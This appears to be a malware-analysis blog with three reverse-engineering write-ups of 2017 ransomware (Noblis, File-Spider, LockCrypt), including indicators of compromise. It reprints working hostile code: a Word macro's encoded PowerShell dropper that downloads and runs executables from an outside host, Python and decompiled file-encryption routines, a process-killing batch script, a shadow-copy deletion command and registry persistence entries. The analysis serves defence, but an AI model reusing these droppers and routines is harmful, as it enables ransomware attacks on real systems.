This is all about malware analysis, reverse engineering and some cool stuff

Wednesday 13 December 2017

Analysis of Noblis In-dev Ransomware

December 13, 2017 Posted by SDKHERE , , , No comments
Noblis is in-development ransomware which is built in python and packed by PyInstaller.
You can refer my previous blog to know how to identify and reverse python built execuctables.

We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]

The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762

The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.

After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.

from Crypto.Cipher import AES
import zlib
import sys

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = '9876501234DAVIDM'

inf = open(sys.argv[1], 'rb') # encrypted file input
outf = open(sys.argv[1]+'.pyc', 'wb') # output file 

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = AES.new(key, AES.MODE_CFB, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.decrypt(inf.read()))

# Write pyc header
outf.write('\x03\xf3\x0d\x0a\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.

  def __init__(self):
    '''
    @summary: Constructor
    '''
    self.__config = self.__load_config()
    self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt")

    # Init Crypt Lib
    self.Crypt = Crypt.SymmetricCrypto()

    # FIRST RUN
    # Encrypt!
    if not os.path.isfile(self.encrypted_file_list):
      self.Crypt.init_keys()
      file_list = self.find_files()
      # Start encryption
      self.encrypt_files(file_list)
      # If no files were encrypted. do nothing 
      if not os.path.isfile(self.encrypted_file_list):
          return
      # Present GUI
      self.start_gui()
    # ALREADY ENCRYPTED
    # Present menu
    elif os.path.isfile(self.encrypted_file_list):
      self.start_gui()

It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.



The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.



Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.

Let's have a look at encryption process.

    def init_keys(self, key=None):
        """
        @summary: initialise the symmetric keys. Uses the provided key, or creates one
        @param key: If None provided, a new key is generated, otherwise the provided key is used
        """
        if not key:
            self.load_symmetric_key()
        else:
            self.key = key

    def load_symmetric_key(self):
        if os.path.isfile('key.txt'):
            fh = open('key.txt', 'r')
            self.key = fh.read()
            fh.close()
        else:
            self.key = self.generate_key()

    def generate_key(self):
        key = ('').join((random.choice('0123456789ABCDEF') for i in range(32)))
        fh = open('key.txt', 'w')
        fh.write(key)
        fh.close()
        return key
  
    def encrypt_file(self, file, extension):
        """
        @summary: Encrypts the target file
        @param file: Absolute path to the file to encrypt
        @param extension: The extension to add to the encrypted file
        """
        file_details = self.process_file(file, 'encrypt', extension)
        if file_details['error']:
            return False
        try:
            fh_read = open(file_details['full_path'], 'rb')
            fh_write = open(file_details['locked_path'], 'wb')
        except IOError:
            return False

        while True:
            block = fh_read.read(self.BLOCK_SIZE_BYTES)
            if not block:
                break
            to_encrypt = self.pad(block)
            iv = Random.new().read(AES.block_size)
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            try:
                ciphertext = iv + cipher.encrypt(to_encrypt)
            except MemoryError:
                return False

            fh_write.write(ciphertext)

        fh_write.close()
        fh_read.close()
        file_details['state'] = 'encrypted'
        return file_details['locked_path']

If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.

After encryption of every files it will start a GUI panel shown below.


Decryption tool -


The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.


class GenerateKeys:

    def __init__(self):
        self.local_public_key = ''
        self.local_private_key = ''
        self.key_length = 2048
        rsa_handle = RSA.generate(self.key_length)
        self.local_private_key = rsa_handle.exportKey('PEM')
        self.local_public_key = rsa_handle.publickey()
        self.local_public_key = self.local_public_key.exportKey('PEM')


class EncryptKey:

    def __init__(self, recipient_public_key, sym_key):
        self.recipient_public_key = recipient_public_key
        self.key_to_encrypt = str(sym_key)
        self.encrypted_key = self.encrypt_key()

    def encrypt_key(self):
        rsa_handle = RSA.importKey(self.recipient_public_key)
        key = rsa_handle.encrypt(self.key_to_encrypt, 1)
        return key


class DecryptKey:

    def __init__(self, private_key, sym_key, phrase):
        self.private_key = private_key
        self.key_to_decrypt = sym_key
        self.phrase = phrase
        self.decrypted_key = self.decrypt_key()

    def decrypt_key(self):
        rsa_handle = RSA.importKey(self.private_key, self.phrase)
        key = rsa_handle.decrypt(self.key_to_decrypt)
        return key



Monday 11 December 2017

Analysis of File-Spider Ransomware

December 11, 2017 Posted by SDKHERE , , , , , 1 comment
MD5: de7b31517d5963aefe70860d83ce83b9 [VirusTotal]
FileName: BAYER_CROPSCIENCE_OFFICE_BEOGRAD_93876.doc
FileType: MS Word Document

The Word file has embedded macro.
When you look into macro code, you will find below snippet.

Private Function decodeBase64(ByVal strData As String) As Byte()
    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    
    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    decodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Private Function str() As String

str = "cG93ZXJzaGVsbC5leGUgLXdpbmRvd3N0eWxlIGhpZGRlbiAkZGlyID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnQXBwbGljYXRpb25EYXRhJykgKyAnXFNwaWRlcic7JGVuYyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjg7ZnVuY3Rpb24geG9yIHtwYXJhbSgkc3RyaW5nLCAkbWV0aG9kK"
str = str + "SR4b3JrZXkgPSAkZW5jLkdldEJ5dGVzKCdBbGJlclRJJyk7JHN0cmluZyA9ICRlbmMuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHN0cmluZykpOyRieXRlU3RyaW5nID0gJGVuYy5HZXRCeXRlcygkc3RyaW5nKTskeG9yZERhdGEgPSAkKGZvciAoJGkgPSAwOyAkaSAtbH"
str = str + "QgJGJ5dGVTdHJpbmcubGVuZ3RoKXtmb3IoJGogPSAwOyAkaiAtbHQgJHhvcmtleS5sZW5ndGg7ICRqKyspeyRieXRlU3RyaW5nWyRpXSAtYnhvciAkeG9ya2V5WyRqXTskaSsrO2lmKCRpIC1nZSAkYnl0ZVN0cmluZy5MZW5ndGgpeyRqID0gJHhvcmtleS5sZW5ndGh9fX0pOyR4b3JkRGF0YSA9ICRlbmMuR2V"
str = str + "0 U3RyaW5nKCR4b3JkRGF0YSk7cmV0dXJuICR4b3JkRGF0YX07ZnVuY3Rpb24gZGF0YSB7cGFyYW0oJG1ldGhvZCkkd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgaWYgKCRtZXRob2QgLWVxICdkJyl7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDov"
str = str + "L3lvdXJqYXZhc2NyaXB0LmNvbS81MTE4NjMxNDc3L2phdmFzY3JpcHQtZGVjLTItMjUtMi5qcycpfWVsc2V7JGlucHV0ID0gJHdlYkNsaWVudC5Eb3dubG9hZFN0cmluZygnaHR0cDovL3lvdXJqYXZhc2NyaXB0LmNvbS81MzEwMzIwMTI3Ny9qYXZhc2NyaXB0LWVuYy0xLTAtOS5qcycpfSRieXRlcyA9IFtDb"
str = str + "252 ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggKHhvciAkaW5wdXQgJ2QnKSApO3JldHVybiAgJGJ5dGVzfTtmdW5jdGlvbiBpbyB7cGFyYW0oJG1ldGhvZClpZigkbWV0aG9kIC1lcSAnZCcpeyRmaWxlbmFtZSA9ICRkaXIgKyAnXGRlYy5leGUnfWVsc2V7JGZpbGVuYW1lID0gJGRpciArICdcZW5jLmV4ZSd9W0"
str = str + "lPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRmaWxlbmFtZSwgKGRhdGEgJG1ldGhvZCkpfTtmdW5jdGlvbiBydW4ge3BhcmFtKCRtZXRob2QpaWYgKCRtZXRob2QgLWVxICdkJyl7aW8gJ2QnOyBIC1GaWxlUGF0aCAoJGRpciArICdcZGVjLmV4ZScpIC1Bcmd1bWVudExpc3QgJ3NwaWRlcid"
str = str + "9ZWxzZXtpbyAnZSc7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICgkZGlyICsgJ1xlbmMuZXhlJykgLUFyZ3VtZW50TGlzdCAnc3BpZGVyJywgJ2t0bicsICcxMDAnfX07aWYoIFRlc3QtUGF0aCAkZGlyKXt9ZWxzZXttZCAkZGlyOyBydW4gJ2QnOyBydW4gJ2UnIH0="

str = StrConv(decodeBase64(str), vbUnicode)

End Function

After Base64 decoding, we will get following powershell script.

powershell.exe -windowstyle hidden $dir = [Environment]::GetFolderPath('ApplicationData') + '\Spider';$enc = [System.Text.Encoding]::UTF8;
function xor{
param($string, $method)$xorkey = $enc.GetBytes('AlberTI');
$string = $enc.GetString([System.Convert]::FromBase64String($string));
$byteString = $enc.GetBytes($string);
$xordData = $(for ($i = 0; 
$i -lt $byteString.length){for($j = 0; $j -lt $xorkey.length; 
$j++){$byteString[$i] -bxor $xorkey[$j];
$i++;if($i -ge $byteString.Length){$j = $xorkey.length}}});
$xordData = $enc.GetString($xordData);return $xordData};
function data {
param($method)$webClient = New-Object System.Net.WebClient; 
if ($method -eq 'd'){
$input = $webClient.DownloadString('http://yourjavascript.com/5118631477/javascript-dec-2-25-2.js')}
else{
$input = $webClient.DownloadString('http://yourjavascript.com/53103201277/javascript-enc-1-0-9.js')}
$bytes = [Convert]::FromBase64String( (xor $input 'd') );
return  $bytes};
function io {
param($method)
if($method -eq 'd'){
$filename = $dir + '\dec.exe'}
else{
$filename = $dir + '\enc.exe'}[IO.File]::WriteAllBytes($filename, (data $method))};
function run {
param($method)
if ($method -eq 'd'){io 'd'; 
Start-Process -FilePath ($dir + '\dec.exe') -ArgumentList 'spider'}
else{
io 'e'; Start-Process -FilePath ($dir + '\enc.exe') -ArgumentList 'spider', 'ktn', '100'}};
if( Test-Path $dir){}else{md $dir; run 'd'; run 'e' }

The PowerShell script first creates a directory %APPDATA%\Spider, downloads decryptor (dec.exe), downloads and execute encryptor (enc.exe).

Encryptor is downloaded from hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js which is base64 encoded and encrypted with xor, encryption key for xor is "AlberTI", so encryptor is downloaded, decrypted, saved at %APPDATA%\enc.exe and execute with 3 arguments "spider", "ktn", "100".

Similarly decryptor is downloaded from hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js, which is again bas64 encoded and encrypted with xor, xor key is same. It is decrypted, saved at %APPDATA%\dec.exe and executed with argument "spider".

Encryptor (enc.exe) :

MD5 : 67D5ABDA3BE629B820341D1BAAD668E3 [VirusTotal]
FileName: enc.exe
FileType: MSIL

This binary is executed with 3 arguments "spider", "ktn" and "100".
First of all it creates a Victim's ID and dumps it to %APPDATA%\Spider\id.txt


One string is created by 0x20 bytes of random number, second argument (ktn) and third argument (100). It is encrypted with RSA algorithm, RSA public key is hardcoded in the function which is-

<RSAKeyValue<Modulus>w7eSLIEBvAgxfDAH/P+ktHJa5Okev4klIRleEhAnR9/1gs5ZHySCUgidDJUVaFrplYLgMUDbsR9aUCBwf07CD8bJL6rUHqeIxpYoF2M7bGW5Vulz3w8C9WMxqnzsqfak9wbt9rT63HoZ5zPHy2ieBfkAEs3XsuaU/q2drl2mQhZodGF+nwiiwfq0gOK+XvPPp9Nq3bCPhVUBzAcp2tXcplT4GjDfSyR8M2VfRzWChipf+plUmcvUafki56ubNW9pApUpd7UOEY1UKqHneMYdVJNhNrsx3T+wJiQNKj2/NMWSfGrN9W+QAVBnqbPgxmSYhfYNy7Fra32yOZ7ho3H1sw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Encrypted data is encoded with base64 and saved at %APPDATA%\Spider\id.txt, which is a victim's ID and useful for decryption process.

The sample traverses each drives and encrypt those files which has following extensions.

lnk url contact 1cd dbf dt cf cfu mxl epf kdbx erf vrp grs geo st conf pff mft efd 3dm 3ds rib ma sldasm sldprt max blend 
lwo lws m3d mb obj x x3d movie byu c4d fbx dgn dwg 4db 4dl 4mp abs accdb accdc accde accdr accdt accdw accft adn a3d adp 
aft ahd alf ask awdb azz bdb bib bnd bok btr bak backup cdb ckp clkw cma crd daconnections dacpac dad dadiagrams daf daschema
db db-shm db-wal db2 db3 dbc dbk dbs dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd eql 
fcd fdb fic fid fil fm5 fmp fmp12 fmpsl fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdb 
mdbhtml mdf mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce odb oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz 
pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp sql sqlite sqlite3 sqlitedb str tcx tdt te teacher tmd trm udb usr 
v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx 1st abw act aim ans apt asc ascii ase aty awp awt aww bad bbs bdp bdr 
bean bna boc btd bzabw chart chord cnm crwl cyi dca dgs diz dne doc docm docx docxml docz dot dotm dotx dsv dvi dx eio eit email 
emlx epp err etf etx euc fadein faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt fountain gtp frt fwdn fxc gdoc gio gpn 
gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jarvis jis joe jp1 jrtf kes klg knt kon kwd latex lbt lis lit lnt lp2 lrc lst ltr 
ltx lue luf lwp lxfml lyt lyx man map mbox md5txt me mell min mnt msg mwp nfo njx notes now nwctxt nzb ocr odm odo odt ofl oft 
openbsd ort ott p7s pages pfs pfx pjt plantuml prt psw pu pvj pvm pwi pwr qdl rad readme rft ris rng rpt rst rt rtd rtf rtx run 
rzk rzn saf safetext sam scc scm scriv scrivx sct scw sdm sdoc sdw sgm sig skcard sla slagz sls smf sms ssa strings stw sty sub 
sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc trelby tvj txt u3d u3i unauth unx uof uot upd utf8 unity utxt vct vnt vw wbk wcf 
webdoc wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xbdoc xbplate xdl xlf xps xwp xy3 xyp xyw ybk yml zabw
zw 2bp 036 3fr 0411 73i 8xi 9png abm afx agif agp aic albm apd apm apng aps apx art artwork arw asw avatar bay blkrt bm2 bmp bmx 
bmz brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib dicom djv djvu 
dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim gmbck gmspr spr scad gpd gro grob
hdp hdr hpi i3d icn icon icpr iiq info int ipx itc2 iwi j j2c j2k jas jb2 jbig jbig2 jbmp jbr jfif jia jng jp2 jpe jpeg jpg jpg2 
jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 
af3 ai asy cdmm cdmt cdmtz cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded design dhs dpp drw dxb dxf egc emf ep eps 
epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gdraw gem glox hpg hpgl hpl idea igt igx imd vbox
vdi ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat mat otg ovp ovr pcs pfd pfv pl plt pm vrml pmg pobj ps psid rdl scv sk1 sk2 slddrt 
snagitstamps snagstyles ssk stn svf svg svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wmf wpg vsm vault xar xmind 
xmmap yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pcx pdd pdn pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpeg 
pjpg png pni pnm pntg pop pp4 pp5 ppm prw psd psdx pse psp pspbrush ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric 
riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sai sci sep sfc sfera sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save 
ssfn t2b tb0 tbn tfc tg4 thm thumb tif tiff tjp tm2 tn tpi ufo uga usertile-ms vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb 
wpe wvl x3f y ysp zif cdr4 cdr6 cdrw pdf pbd pbl ddoc css pptm raw cpt tga xpm ani flc fb3 fli mng smil mobi swf html xls xlsx csv 
xlsm ods xhtm 7z m2 rb rar wmo mcmeta m4a itm vfs0 indd sb mpqge fos p7c wmv mcgame db0 p7b vdf DayZProfile p12 d3dbsp ztmp rofl 
sc2save sis hkx pem dbfv sie sid bar crt sum ncf upk cer wb2 ibank menu das der t13 layout t12 dmp litemod dxg qdf blob asset xf esm 
forge tax 001 r3d pst pkpass vtf bsa bc6 dazip apk bc7 fpk re4 bkp mlx sav raf qic kf lbf bkf iwd slm xlk sidn vpk bik mrwref xlsb 
sidd tor epk mddata psk rgss3a itl rim pak w3x big icxs fsh unity3d hvpl ntl wotreplay crw hplg arch00 xxx hkdb lvl desc mdbackup snx 
py srf odc syncdb cfr m3u gho ff odp cas vpp_pc js dng lrf c cpp cs h bat ps1 php asp java jar class aaf aep aepx plb prel prproj aet 
ppj indl indt indb inx idml pmd xqx fla as3 as docb xlt xlm xltx xltm xla xlam xll xlw pot pps potx potm ppam ppsx ppsm sldx sldm aif 
iff m4u mid mpa ra 3gp 3g2 asf asx vob m3u8 mkv dat efx vcf xml ses zip 7zip mp4 3gp webm wmv

Directories which are going to skip are :

"tmp", "Videos", "winnt", "Application Data", "Spider", "PrefLogs", "Program Files (x86)", "Program Files", "ProgramData", "Temp", "Recycle", "System Volume Information", "Boot", "Windows"

Each file is encrypted by AES CFB algorithm with same key which is encrypted by RSA and random 0x20 bytes of salt.



The password and salt are randomly generated.
These two are different for each file so it is prepended with encrypted file.
First 0x20 bytes is salt, 0x50 bytes is AES encrypted password and rest of them are encrypt file data.



After the encryption of each file, It will add full path of encrypted file in %APPDATA%\Spider\files.txt



In each directory, it creates an internet shortcut file of name "HOW TO DECRYPT FILES.url" which redirect to hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1. Its a video which shows how to remove rensomware by paying ransom in Bitcoin to the attacker.

It appends .spider extension to each encrypted file.


Decryptor (dec.exe) :

MD5: fdd465863a4c44aa678554332d20aee3 [VirusTotal]
FileName: dec.exe
FileType: MSIL

The dec.exe is executed with single argument "spider".
It creates a mutex of name "SpiderForm" to avoid execution of multiple instances.
The argument provided to this must be "spider" or "startup" for further execution.



Then it creates a thread which terminates all the following processes.
"taskmgr", "procexp", "msconfig", "Starter", "regedit", "cdclt", "cmd", "OUTLOOK", "WINWORD", "EXCEL", "MSACCESS"

After that it makes a run entry (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run) for dec.exe to run it on startup.
Name : "Starter"
Value : "%APPDATA%\Spider\dec.exe startup"

In the last, it will start the form which contains payment instructions and decryption tool.





Payment site of file spider ransomware is spiderwjzbmsmu7y[.]onion




IOCs :

MS word document : de7b31517d5963aefe70860d83ce83b9
Encrypted enc.exe : hxxp://yourjavascript.com/53103201277/javascript-enc-1-0-9.js
Encrypted dec.exe : hxxp://yourjavascript.com/5118631477/javascript-dec-2-25-2.js
enc.exe : 67D5ABDA3BE629B820341D1BAAD668E3
dec.exe : fdd465863a4c44aa678554332d20aee3
Payment site : spiderwjzbmsmu7y[.]onion
Video : hxxps://vid.me/embedded/CGyDc?autoplay=1&stats=1


Friday 1 December 2017

Analysis of LockCrypt ransomware

December 01, 2017 Posted by SDKHERE , No comments
Introduction:

Attackers have been recently breaking into corporate servers via RDP brute force attacks to spread a new variant of ransomware called LockCrypt. The attacks first started in June but there was an increase of attacks in October. The victims were asked to pay 0.5 to 1 BTC to recover their server.
LockCrypt encrypts all files and rename them with a '.lock' extension. It also installs itself for persistence and deletes backup.

Let's have a look at the sample.

MD5 : 12A4388ADE3FAD199631F6A00894104C [VirusTotal] [HybridAnalysis]
Size  : 48128 bytes

When we execute this sample, following dialogue box will appear.


Fig1 : Window after execution of malware


Environment Setup :

On execution, First of all it copies itself to C:\Windows\bfsvcm.exe
Then it creates a batch file of name w.bat and execute it to kill all the specified processes, this is for antivirus and sandbox evasion.

You can see the batch script below.

SetLocal EnableDelayedExpansion EnableExtensions
Set WinTitle=%Random%%Random%
Title %WinTitle%
For /F "tokens=2 skip=2 delims=," %%P In ('tasklist /FI "WINDOWTITLE eq %WinTitle%" /FO CSV') Do (Set MyPID=%%~P)
Title %~n0
Set WhiteList=Microsoft.ActiveDirectory.WebServices.exe:cmd.exe:find.exe:conhost.exe:explorer.exe:ctfmon.exe:dllhost.exe:lsass.exe:services.exe:smss.exe:tasklist.exe:winlogon.exe:wmiprvse.exe:msdts.exe:bfsvc.exe:AdapterTroubleshooter.exe:alg.exe:dwm.exe:issch.exe:rundll32.exe:spoolsv.exe:wininit.exe:wmiprvse.exe:wudfhost.exe:taskmgr.exe:rdpclip.exe:logonui.exe:lsm.exe:spoolsv.exe:dwm.exe:dfssvc.exe:csrss.exe:svchost.exe:59F6B4DF10330000_59F6B4E800000000.exe:=5 delims=," %%p In ('tasklist /FO CSV') Do (Echo :!ProcList!|Find /I ":%%~p:">nul||Set ProcList=%%~p:!ProcList!)
:Compare
For /F "tokens=1,* delims=:" %%C In ("!ProcList!") Do (
If Not "%%C"=="" (
Echo :!WhiteList!|Find /I ":%%C:">nul||Call :Kill "%%C"
Set ProcList=%%D
GoTo Compare
)
)
Exit
:Kill
If "%~1"=="cmd.exe" (
TaskKill /F /FI "PID ne %MyPID%" /FI "IMAGENAME eq cmd.exe"
) Else (
TaskKill /F /IM "%~1"
)
del W.bat
Exit /B

After processes termination, It calls DialogBoxParamA windows API.
It is abusing windows API to execute malicious procedure.

You can see the below code.

Fig2 : DialogBoxParamA function call

Here we have callback function for dialog box, so we will not skip this API.
Let's look into the callback function.
Here we have multiple cases, in first case it is playing with registry.

First it ShellExecute the following command to delete backup storage.
"vssadmin delete shadows /all"
After that it creates a "Hacked" subkey in the following registry key.
"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"


Fig3 : Storing victim id in registry

By default it is initializing value of "Hacked" as "SfplHinIptOwnboa".
This is unique victim's id and it is very useful in encryption process, this value is changes and reassign to registry later.

After that, It will modify below subkeys and values of the same registry key.

LegalNoticeCaption = "Attention!!! Your files are encrypted !!!"
LegalNoticeText = "To recover files, follow the prompts in the text file "Readme""
Userinit = "C:\Windows\system32\userinit.exe, C:\Windows\bfsvcm.exe"

This is for displaying message on logon screen of user's system.


Fig4 : Logon screen

You can see the registry of my infected system.

Fig5 : Registry of infected system


Encryption Process :

After the above environment setup, it creates victim's id and store it into "Hacked" registry mentioned above.
Code for creating unique victim's id is :

unsigned int sub_401AC7()
{
  unsigned int v0; // eax@1

  v0 = dword_40C86F;
  if ( !dword_40C86F )
  {
    v0 = GetTickCount();
    dword_40C86F = v0;
  }
  dword_40C86F = 16807 * (v0 % 0x1F31D) - 2836 * (v0 / 0x1F31D);
  return dword_40C86F % 0x64u;
}

After creating and assigning id to registry, the ransomware will send the base64 encoded victim information to the command and control server.


Fig6 : Packet sent to C2 server

The IP address of the server is 46.32.17[.]222 and the format of the information sent to server is.
Victim_ID | Operating_System | System | Malware_Location

When the server get this information, it sends huge data in response to that.

Fig7 : Server response after getting victim's info

This data is unique and depends on the victim's information and it plays a major role in encryption process.

The encryption algorithm is very simple, it just XOR and ByteSwapping of file data with data received from server.
You can see the encryption algorithm used by this ransomware below.

unsigned __int32 __stdcall sub_401865(int a1, unsigned int a2)
{
  int v2; // ecx@1
  int v3; // edx@1
  int v4; // ebx@1
  int v5; // esi@1
  int v6; // edi@1
  unsigned int v7; // ecx@5
  int v8; // edx@5
  int v9; // ebx@5
  int v10; // esi@5
  int v11; // edi@5
  int v12; // eax@6
  unsigned __int32 result; // eax@6

  v2 = 2 * (a2 >> 2);
  v3 = dword_40D83C;
  v4 = dword_40D5B0 + dword_40D83C;
  v5 = a1;
  v6 = a1;
  do
  {
    *(_DWORD *)v6 = *(_DWORD *)v3 ^ *(_DWORD *)v5;
    v5 += 2;
    v6 += 2;
    v3 += 4;
    if ( v3 == v4 )
      v3 = dword_40D83C;
    --v2;
  }
  while ( v2 );
  v7 = a2 >> 2;
  v8 = dword_40D83C;
  v9 = dword_40D5B0 + dword_40D83C;
  v10 = a1;
  v11 = a1;
  do
  {
    v12 = *(_DWORD *)v10;
    v10 += 4;
    v12 = __ROL4__(v12, 5);
    result = _byteswap_ulong(*(_DWORD *)v8 ^ v12);
    *(_DWORD *)v11 = result;
    v11 += 4;
    v8 += 4;
    if ( v8 == v9 )
      v8 = dword_40D83C;
    --v7;
  }
  while ( v7 );
  return result;
}

It is very hard to make decryption tool for this ransomware because the data is changing as per the victim id and also we don't know the server side algorithm.
It skips first 4 bytes and last 6 bytes of every file and encrypt rest of the data.

After the encryption, it will rename each file in the following format.
File extension : [base64 of filename] ID [Victim ID].lock

It drops ReadMe.TxT in C:\ which is a ransom note, makes run entry for the same to execute it on startup.
Microsoft Windows Operating System = "C:\Windows\notepad.exe C:\ReadMe.TxT"


Fig8 : Ransom note (ReadMe.TxT)


IOCs :

Hash  : 1df3d4da1ef11373966f54a6d67c38a223229f272438e1c6ec7cb4c1ea3ff3e2
CnC   : 46.32.17[.]222
Email : enigmax_x@aol[.]com and enigmax_x@bitmessage[.]ch